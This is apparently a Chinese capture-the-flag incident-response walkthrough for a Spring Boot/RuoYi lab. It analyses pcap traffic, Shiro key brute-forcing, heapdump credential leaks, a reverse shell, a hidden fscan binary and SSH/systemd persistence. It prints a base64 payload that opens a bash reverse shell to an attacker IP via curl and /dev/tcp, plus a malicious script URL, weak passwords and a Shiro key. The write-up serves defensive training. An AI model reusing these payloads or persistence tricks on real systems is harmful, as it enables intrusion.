玄机——某次行业攻防应急响应(带镜像)
今天给大家带来一次攻防实战演练复现的过程。
文章目录
- 简介
- 靶机简介
- 1.根据流量包分析首个进行扫描攻击的IP是
- 2.根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名}
- 3.提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交
- 4. 提交攻击者利用成功的密钥,以flag{xxxxx}提交
- 5.提交攻击者获取到的所有服务的弱口令,多个以&提交,如flag{xxx&xxx&xxx}
- 6.根据应急响应方法,提交利用漏洞成功的端口,多个以&连接,如:flag{port&port&port}
- 7. 根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址
- 8. 根据流量包分析,提交攻击者反弹shell的地址和端口,以flag{x.x.x.x&port}提交
- 9.攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径
- 10.提交此fscan工具的MD5值,以flag{xxxxxx}提交
- 11.攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址,以flag{http:xxx.xx/xxx}
- 12. 攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径
- 13. 攻击者创建了一个隐藏用户,提交此用户的用户名,以flag{xxxx}提交
- 总结
简介
靶机简介
镜像下载地址:此处
参看文章:州弟学安全
被攻击站点使用的是spring boot框架,我们此处使用若依复现,被利用到的点会在其中
靶机情况:
系统: Ubuntu 22.0.4
CPU: 4颗
内存: 4G
空间: 保证6G左右
应急主机: 192.168.0.211
网关: 192.168.0.1/24
其它傀儡机: 段内
账号/密码: root/security123
流量包: /home/security/security.pcap
注: 因未使用中间件开放WEB,所以日志全程以流量包分析
题目要求:
- 根据流量包分析首个进行扫描攻击的IP是
- 根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名}
- 提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交
- 提交攻击者利用成功的密钥,以flag{xxxxx}提交
- 提交攻击者获取到的所有服务的弱口令,多个以&提交,如flag{xxx&xxx&xxx}
- 根据应急响应方法,提交利用漏洞成功的端口,多个以&连接,如:flag{port&port&port}
- 根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址
- 根据流量包分析,提交攻击者反弹shell的地址和端口,以flag{x.x.x.x&port}提交
- 攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径
- 另类方法:提交此fscan工具的MD5值,以flag{xxxxxx}提交
- 攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址,以flag{http:xxx.xx/xxx}
- 攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径
- 攻击者创建了一个隐藏用户,提交此用户的用户名,以flag{xxxx}提交
–
1.根据流量包分析首个进行扫描攻击的IP是
首先我们下载靶机后,得到的文件如下图:
这里我们打开流量包分析一下:
打开后发现不仅有着57万条流量记录,还有着不同的IP地址以及协议,这让我们从何下手?
首先我们还是从靶机的信息中得知:
应急主机: 192.168.0.211
网关: 192.168.0.1/24
所以我们将应急主机设置为目标地址,看看有哪些主机访问过:
ip.dst == 192.168.0.211
# Wireshark的过滤规则;
补充知识:
ip.src eq 192.168.0.1
: 指定的来源IPip.dst eq 192.168.0.1
: 指定的目标IPtcp.srcport eq 8080
:来源端口等于 8080tcp.port gt 3000
:来源或目标端口大于 3000tcp.len > 100
:TCP 数据包大于 100http.request.method == "GET"
:HTTP 请求类型为 GEThttp.request.method == "POST" && http contains "HTTP/1.0 200 OK"
:HTTP 请求类型为 POST 并且包含指定内容http.reqeust.uri matches ".php$"
: 基于正则匹配的过滤
显示结果如图:
(1)首先根据不同的IP,我们大概推测这个IP在进行什么行为;从info 我们可以得知,这个192.168.0.200在对我们的主机进行ping探测;
(2)接下来这个192.168.0.223有着大量的SYN请求包,并且看出他的44479端口一直在对我们主机进行着端口扫描
因为一般攻击者进行主机探测或者端口扫描的时候,都不会使用TCP三次握手这种全连接方式,不仅费时费力,还容易被发现;因此一般都是用SYN半扫描或者ICMP echo这些方式来进行扫描来提高速率或者减少带宽消耗;
(3)接下来的则是192.168.0.226,可以发现他一直在尝试进行登录操作
,从不断对 /login 进行请求就能判断个大概;
(4)接下来的192.168.0.242则是一直在对9988,12333这两个端口进行访问
,接下来我们可以去靶机查看这两个端口进行着什么操作;
–
这里我们得到了大概四个可疑IP,再回到题目”根据流量包分析首个进行扫描攻击的IP是“,我们可以重点观察192.168.0.223这个IP,因为它发送了大量的ping探测:
使用过滤器筛选 ip.dst == 192.168.0.211&&ip.src==192.168.0.223
看到共请求七万多次,再往下还有http协议
ip.dst == 192.168.0.211&&ip.src==192.168.0.223
结果显示有7万多条记录,这明显不是一台正常主机访问的结果:
随后我们再继续观察他的流量,发现这个IP除了前期进行端口扫描后,还尝试进行目录扫描,并且有着三千多条记录;
ip.dst == 192.168.0.211 and ip.src == 192.168.0.223 and http.request.method ==GET
所以第一个flag:
192.168.0.223
–
2.根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名}
通过之前的分析,我们已知第一个扫描的IP行为是端口探测和文件扫描,在后续进行筛选是可以将此IP(192.168.0.223)过滤掉:
接下来我们探测192.168.0.200这个IP的具体情况:
ip.dst == 192.168.0.211&&ip.src==192.168.0.200&&http
这里指定为http协议,因为一般攻击者发送请求都会使用http协议,请求方式的话则是GET,POST,PUT,HEAD等;
这里我们也是可以发现这个IP也不老实,也进行着目录扫描,并尝试绕过限制搜集信息;
根据题目的”分析漏扫工具“,那么我们从哪里去找到有关漏扫工具的信息呢?
答:寻找漏洞扫描器特征,主要从UA、字典特征,行为特征、DNSlog地址、url中的某些地址查看
在寻找的过程中,也是发现不少的shell
,js
脚本文件,../../../shell
(作用:尝试绕过目录限制)字样,更加增加了IP的可疑;
也是经过一番寻找,发现了异常:
在以上图片中,我们看到在160872次流量中,有bxss.me域名,这是漏扫器 acunetix
或称 AWVS
的特征
我们去靶机进行端口以及服务的查询:
netstat -antlp |more
也是发现除了这两个端口,服务器还开着java,mysql等服务;
经过此次筛选我们已知,192.168.0.200的行为特征是,利用已开放的WEB端口,进行漏洞扫描;
flag{192.168.0.200&acunetix}
–
3.提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交
还是根据之前的分析,我们发现192.168.0.226这个IP,一直在尝试进行登录操作,很可能进行爆破操作;
我们可以发现除了刚开始有几次正常的TCP三次握手操作外,其余的都是在进行login的爆破操作:
ip.dst == 192.168.0.211&&ip.src==192.168.0.226
很有规律,打开流量包看到疑似在爆破shiro密钥:
shiro 550反序列化漏洞
主要的特征就是包含rememberMe特征,并且是一个java服务,这与我们之前发现服务器开着java服务也是吻合的;
–
输入命令进行爆破次数的查询:
ip.dst == 192.168.0.211&&ip.src==192.168.0.226 and http.request.method ==GET
加上过滤条件GET,是因为攻击者在此次登录过程中,使用的是GET;
发现次数为1091,那么次数对吗? 尝试过后发现是不正确的,因为之前说过在进行爆破之前,攻击者还进行正常的TCP三次握手。
答:所以我们从下面的的第一个/login 开始计数,到最后一个;
方法:先点击第一个出现 /login 规律的包,然后滑到最后——按住shift——再点击最后一个包,查看右下角的Selected即可。
效果如图:
最后的结果尝试过后,不是flag{1069},而是flag{1068},什么原因我也不懂。。
结论:目前已知192.168.0.226这个IP行为目的明显,已知开放的WEB端口,已知框架类型和可能存在的漏洞并尝试利用
flag{192.168.0.226&1068}
–
4. 提交攻击者利用成功的密钥,以flag{xxxxx}提交
接下来的192.168.0.242则是一直在对9988,12333这两个端口进行访问,接下来我们可以去看看流量包的具体内容;
跟进此IP后,前面经过爆破,没有成功,而后访问了9988端口,访问/actuator/heapdump文件进行下载(heapdump:JVM 内存信息,分析出明文密码)
假如说是动态密钥,我们可以利用同样的方法,下载heapdump,使用相关工具提取密钥,此处用的JDumpSpider:
https://github.com/whwlsfb/JDumpSpider
经过分析,以上IP进行后攻击可能性极大。
flag{c+3hFGPjbgzGdrC+MHgoRQ==}
–
5.提交攻击者获取到的所有服务的弱口令,多个以&提交,如flag{xxx&xxx&xxx}
这个在流量中看不到,只需看heapdump明文密码即可,从上往下分析,第一个就是数据库密码是弱口令,为ruoyi123
接着往下搜索,一般来说弱口令不会只尝试一次的:
接着往下看到若以的两个账号的默认口令同样为admin123和123456
至此,我们应该是找完了所有的弱口令:
ruoyi123&admin123&123456
–
6.根据应急响应方法,提交利用漏洞成功的端口,多个以&连接,如:flag{port&port&port}
之前的时候,我们分析过,9988和12333这两个端口一直被尝试爆破访问,所以我们可以查看一下他的详细信息:
根据上图,已知对外开放的端口为22、9988、12333端口,22端口为远程连接;
(1)9988端口在前期被192.168.0.223进行端口扫描和文件扫描,被192.168.0.200使用AWVS进行扫描,被192.168.0.242访问并下载heapdump进行后续利用
(2)而12333端口是若依搭建的框架,被前面IP进行扫描且进行过爆破,最后一步在192.168.0.242这个IP获取到shiro密钥
结论:所以综上所述,9988端口是被直接利用获取敏感信息,从而导致12333后续被攻击成功
9988&12333
–
7. 根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址
在攻击者成功利用密钥探测成功后,会先探测此主机是否出网,往往会使用dnslog进行测试,我们只需筛选DNS协议及主机
dns&&ip.src==192.168.0.211
根据显示,除了baidu.com还有一个dnslog.cn,随后就是一些字符组成的网址(其实是burpsuite的DNSlog工具);
1dvrle.dnslog.cn
–
8. 根据流量包分析,提交攻击者反弹shell的地址和端口,以flag{x.x.x.x&port}提交
在此处继续筛选,因为爆破和利用shiro都是在若依进行的,若依走的是HTTP协议,直接筛选即可
ip.dst==192.168.0.211&&ip.src==192.168.0.242&&http
我们之前也分析过,192.168.0.242这个IP一直在分析靶机的两个端口,可以猜测这两个端口应该是存在漏洞被攻击者发现了才进行相应的爆破;
这里我们随便点开一个流量包,可以发现里面有rememberMe的base64字符,所以攻击者应该是利用了shiro这个漏洞,那我们如何去得到我们想要的信息呢?
shiro的利用过程一般分为以下几个步骤,较为详细
此处我们可从下往上逆推流量进行解密,因为前面爆破密钥,爆破构造链等多次,从上往下找不好定位;
这里我们复制出cookie中rememberMe中的值进行解密,脚本我这里用的希谭实验室ABC123大佬写的工具:
蓝队第3篇:Shiro反序列化数据包解密及蓝队分析工具,提供下载
(只能说在学习的过程中要跟紧大佬的步伐,看到他们能够独立开发工具,实在羡慕~)
可以看到,进行命令执行的Java函数,以及执行的参数进行的base64编码,和最后使用的恶意工具
Y3VybCAtLWNvbm5lY3QtdGltZW91dCAzIGh0dHA6Ly96dXg4bW96dW9rcmNxN3dzMHR2a2I3cWFsMXJyZmcuYnVycGNvbGxhYm9yYXRvci5uZXQvMi8gLWQgZGF0YT0kKChiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMC4yNTEvODg4OCAwPiYxKXxiYXNlNjQgLXcgMCk=
然后我们使用工具进行base64解密:
所以结果为:
192.168.0.251:8888
–
9.攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径
在刚才我们找到了攻击者的主机IP以及监听的端口,所以我们可以尝试在流量中去搜寻相应的包:
ip.dst==192.168.0.211 and ip.src==192.168.0.251 and tcp.port==8888
我们可以看到显示结果都是一些TCP包,而我随便点开前几个进行查看的时候,发现了一些攻击者常用的命令:
所以我也就点进去查看“追踪TCP流”
,查看详细的内容:
而在这篇文章中,也是说过的:
由于在Linux系统中,通常将 /opt 目录用于存放可选的、占用空间较大的第三方软件和应用程序,所以我们进入到/opt目录下进行查看:
所以我们仿佛找到了一些线索,但是点击下一个包的时候,出现的又是一些没用的信息(看来手动检查的方法行不通);
但是,在主机层面,直接搜索即可,因为给出提示,扫描出了永恒之蓝主机,且fscan默认在扫描后在当前目录生成一个名为result.txt的文件
grep -rl 'MS17-010' / 2>/dev/null # 根据关键字筛选
grep -rl '192.168.0' / 2>/dev/null # 根据网段筛选
显示结果(用xshell了,在靶机输命令有点麻烦):
虽然不知道为什么我输入grep -rl 'MS17-010' / 2>/dev/null
命令就搜索不到;但好在也找到了我们需要的包;
然后我们也可以到流量中去查看:之后我发现只查看SYN的包,就能看到我们想要的数据:
这里摘抄下大佬的理解:
在TCP/IP协议中,会话需要经过三次握手和四次挥手,流量包存在是因为SYN,ACK包中存在明文流量,使用以下条件进行过滤
ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888&&tcp.flags.syn == 1 && tcp.flags.ack == 1
根据标志位进行过滤相应的流量包,然后查看明文操作
所以结果:
/opt/.f/.s/.c/.a/.n
–
10.提交此fscan工具的MD5值,以flag{xxxxxx}提交
这里可能会有疑问,什么MD5值,要他有什么用?
答:每个文件都是一个独立的个体,MD5是唯一的,改名不改内容,MD5是不变的,在首次查杀到这个病毒木马文件后,会记录此文件的MD5值并入库,后面直接对比此文件的MD5,就无需再次查杀,浪费资源,MD5相当于文件的独立身份
针对上一个flag,有些师傅会问,万一他把result.txt文件删了呢,你怎么模糊搜索,很好,非常好的问题,所以这个时候,用到了MD5值(此处我是用的是md5sum工具);
find / -type f -exec md5sum {} \;
这个命令是递归从根目录下使用md5sum计算所有文件的MD5列出,但是不好的是数据量太大,容易卡死:
所以这里优化一下命令,只对可执行文件列出MD5值,导入到一个文件中,然后对比fscan的MD5:
find / -type f -executable -exec md5sum {} \;>1.txt
这里我们要先到fscan的目录下
随后查看内容:
cat 1.txt |more
到最后也是找到了相应的程序:
但是怎么确定这就是呢?所以我们要把它下载到本地,放到云沙箱里去判断;
sz /opt/.f/.s/.c/.a/.n/F.Sca.n
这里的话我直接保存到桌面,方便找到:
这里显示结果也是恶意程序:
flag{b8053bcd04ce9d7d19c7f36830a9f26b}
–
11.攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址,以flag{http:xxx.xx/xxx}
在之前我们查找fscan文件时,还发现了一个sh脚本文件:
所以我们可以进去查看一下,究竟是什么东西(反正你现在也没思路):
有两个文件,一一查看:
所以结果:
http://zhoudinb.com:12345/qxwc.sh
–
12. 攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径
这个时候我们就要想到在Linux系统中,攻击者还有哪些维权方式:
passwd
、shadow
文件增加用户维权useradd
添加提权用户维权SUID
维权(chmod +s
)SSH
软连接维权- 公私钥维权
- 计划任务维权
这里经过排查,我首先想到的是查看计划任务(因为它的命令简单,好记):
cat /etc/crontab
发现竟然是上一个flag;不影响,定时任务没有那就查找 —>开机启动项系统任务:
排除计划任务,在Linux中还存在另一种方法,就是开机自启,我们可以通过systemctl查看,他的执行文件路径在/etc/systemd/system/,创建任务是通过此目录下进行定位文件名创建任务名
乍一看很多,但还是可以发现一个仿佛不是系统文件的进程名;
这个时候使用命令查看进程的详细信息:
ps -aux |grep happy.service
然后也是使用命令去查看它的具体路径:
cat /etc/systemd/system/happy.service
/home/security/upload/.CCC/.happy.sh
–
13. 攻击者创建了一个隐藏用户,提交此用户的用户名,以flag{xxxx}提交
cat /etc/passwd |grep bash
通过以上命令查看到只有两个用户拥有登录权限
确认shadow
文件没有问题,查看可登录用户的/.ssh目录,并查看公钥文件,最终在/root/.ssh/.id_rsa.pub
看到可疑用户名
这个就是攻击者常用的SSH公私钥维权;
xj1zhoudi@kali
–
总结
结束了,也是从中学到了很多;我就自己总结不发出来了。